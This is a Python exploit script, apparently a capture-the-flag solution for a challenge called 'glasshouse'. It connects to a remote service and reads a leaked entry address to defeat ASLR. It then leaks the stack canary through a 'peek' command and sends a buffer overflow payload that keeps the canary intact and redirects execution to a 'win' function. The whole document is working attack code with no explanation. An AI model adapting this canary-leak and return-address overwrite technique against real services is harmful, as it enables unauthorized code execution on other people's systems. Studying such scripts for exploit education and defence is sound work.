import socket
import struct
import sys

p64 = lambda x: struct.pack("<Q", x & 0xffffffffffffffff)
u64 = lambda x: struct.unpack("<Q", x)[0]

ENTRY_OFFSET = 0x1470
WIN_OFFSET = 0x11f0


def read_until(sock, marker):
    data = bytearray()
    while not data.endswith(marker):
        part = sock.recv(1)
        if not part:
            raise ConnectionError("connection closed")
        data.extend(part)
    return bytes(data)


def main(host, port):
    with socket.create_connection((host, port), timeout=3) as sock:
        banner = read_until(sock, b"\n").strip()
        entry = int(banner.split(b"=", 1)[1], 16)
        base = entry - ENTRY_OFFSET
        win = base + WIN_OFFSET

        read_until(sock, b"> ")
        sock.sendall(b"peek 64\n")
        answer = read_until(sock, b"\n").strip()
        canary = u64(bytes.fromhex(answer.split(b"=", 1)[1].decode()))
        print("canary", hex(canary), "win", hex(win))

        read_until(sock, b"> ")
        payload = b"A" * 64 + p64(canary) + b"B" * 8 + p64(win)
        sock.sendall(b"submit " + payload.hex().encode() + b"\n")
        print(read_until(sock, b"\n").decode(errors="replace").strip())


if __name__ == "__main__":
    if len(sys.argv) != 3:
        raise SystemExit("usage: python3 glasshouse.py HOST PORT")
    main(sys.argv[1], int(sys.argv[2]))
